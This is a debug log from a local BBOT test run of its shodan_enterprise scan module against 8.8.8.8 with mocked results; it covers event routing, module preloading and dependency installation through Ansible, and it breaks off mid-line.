Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:08:24,590 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,590 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:08:24,591 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:08:24,591 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,591 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:08:24,592 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,592 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,593 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:08:24,593 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:08:24,594 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:08:24,594 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:08:24,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:08:24,595 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 17:08:24,679 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:08:24,680 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,681 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:08:24,681 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,682 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:08:24,682 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:08:24,683 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 17:08:24,683 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:08:24,683 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 17:08:24,684 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 17:08:24,684 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 17:08:24,685 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 17:08:24,686 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 17:08:24,686 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 17:08:24,686 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 17:08:24,686 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 17:08:24,787 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 17:08:24,788 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 17:08:24,807 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 17:08:24,808 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 17:08:24,808 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 17:08:24,815 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 17:08:24,816 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 17:08:24,817 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 17:08:24,818 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 17:08:24,818 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 17:08:24,819 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 17:08:24,935 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_i5me1a0l48 completed in 0 seconds with status FINISHED -2026-03-01 17:08:24,935 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 17:08:24,936 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:08:24,937 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events -2026-03-01 17:08:24,938 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 17:08:24,938 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:53', '8.8.8.8:443'] -2026-03-01 17:08:24,938 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected -2026-03-01 17:08:24,938 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] -2026-03-01 17:08:24,938 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected -2026-03-01 17:08:24,939 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events -2026-03-01 17:08:24,939 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} -2026-03-01 17:08:52,915 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 17:08:52,925 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 17:08:52,926 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 17:08:52,927 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 17:08:52,928 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 17:08:52,929 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 17:08:52,930 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 17:08:52,931 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 17:08:52,934 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 17:08:52,935 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 17:08:52,936 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 17:08:52,937 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 17:08:52,938 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 17:08:52,939 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 17:08:52,940 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 17:08:52,940 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 17:08:52,941 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 17:08:52,941 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 17:08:52,942 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 17:08:52,943 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 17:08:52,943 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 17:08:52,944 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 17:08:52,945 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 17:08:52,945 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 17:08:52,946 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 17:08:52,947 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 17:08:52,948 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 17:08:52,949 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 17:08:52,949 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 17:08:52,953 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 17:08:52,954 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 17:08:52,955 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 17:08:52,955 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 17:08:52,956 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 17:08:52,957 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 17:08:52,958 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 17:08:52,958 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 17:08:52,959 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 17:08:52,960 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 17:08:52,960 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 17:08:52,961 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 17:08:52,961 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 17:08:52,962 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 17:08:52,963 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 17:08:52,964 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 17:08:52,964 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 17:08:52,965 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 17:08:52,965 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 17:08:52,966 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 17:08:52,967 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 17:08:52,967 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 17:08:52,968 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 17:08:52,969 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 17:08:52,969 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 17:08:52,970 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 17:08:52,975 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 17:08:52,976 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 17:08:52,977 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 17:08:52,978 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 17:08:52,979 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 17:08:52,980 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 17:08:52,980 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 17:08:52,981 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 17:08:52,982 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 17:08:52,983 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 17:08:52,984 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 17:08:52,985 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 17:08:52,985 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 17:08:52,986 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 17:08:52,987 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 17:08:52,988 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 17:08:52,988 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 17:08:52,989 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 17:08:52,989 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 17:08:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 17:08:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 17:08:52,991 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 17:08:52,992 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 17:08:52,992 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 17:08:52,993 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 17:08:52,994 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 17:08:52,994 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 17:08:52,996 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 17:08:52,996 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 17:08:52,997 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 17:08:52,998 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 17:08:52,998 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 17:08:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 17:08:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 17:08:53,000 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 17:08:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 17:08:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 17:08:53,002 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 17:08:53,002 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 17:08:53,003 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 17:08:53,004 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 17:08:53,004 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 17:08:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 17:08:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 17:08:53,006 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 17:08:53,006 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 17:08:53,007 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 17:08:53,008 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 17:08:53,008 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 17:08:53,009 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 17:08:53,009 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 17:08:53,010 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 17:08:53,010 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 17:08:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 17:08:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 17:08:53,013 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 17:08:53,013 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 17:08:53,014 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 17:08:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 17:08:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 17:08:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 17:08:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 17:08:53,017 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 17:08:53,018 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 17:08:53,019 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 17:08:53,019 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 17:08:53,020 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 17:08:53,021 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 17:08:53,021 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 17:08:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 17:08:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 17:08:53,023 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 17:08:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 17:08:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 17:08:53,025 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 17:08:53,025 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 17:08:53,026 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 17:08:53,027 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 17:08:53,027 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 17:08:53,028 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 17:08:53,028 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 17:08:53,029 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 17:08:53,030 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 17:08:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 17:08:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 17:08:53,032 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 17:08:53,033 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 17:08:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 17:08:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 17:08:53,035 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 17:08:53,036 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 17:08:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 17:08:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 17:08:53,038 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 17:08:53,039 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 17:08:53,039 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 17:08:53,040 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 17:08:53,041 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 17:08:53,042 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 17:08:53,043 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 17:08:53,043 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 17:08:53,044 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 17:08:53,044 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 17:08:53,045 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 17:08:53,046 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 17:08:53,047 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 17:08:53,047 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 17:08:53,047 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 17:08:53,049 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 17:08:53,049 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 17:08:53,050 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 17:08:53,050 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 17:08:53,051 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 17:08:53,052 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 17:08:53,052 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 17:08:54,141 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:08:54,142 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:08:54,142 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 17:08:54,276 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 17:08:54,841 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 17:08:54,842 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 17:08:54,842 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 17:08:54,842 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 17:08:55,059 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 17:08:55,060 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 17:08:55,168 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 17:08:55,169 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 17:08:55,222 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 17:08:55,225 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 17:08:55,226 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 17:08:55,702 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 17:08:55,702 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 17:08:58,240 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 17:08:58,241 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 17:08:58,241 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 17:09:00,078 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 17:09:00,079 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 17:09:00,084 [DEBUG] 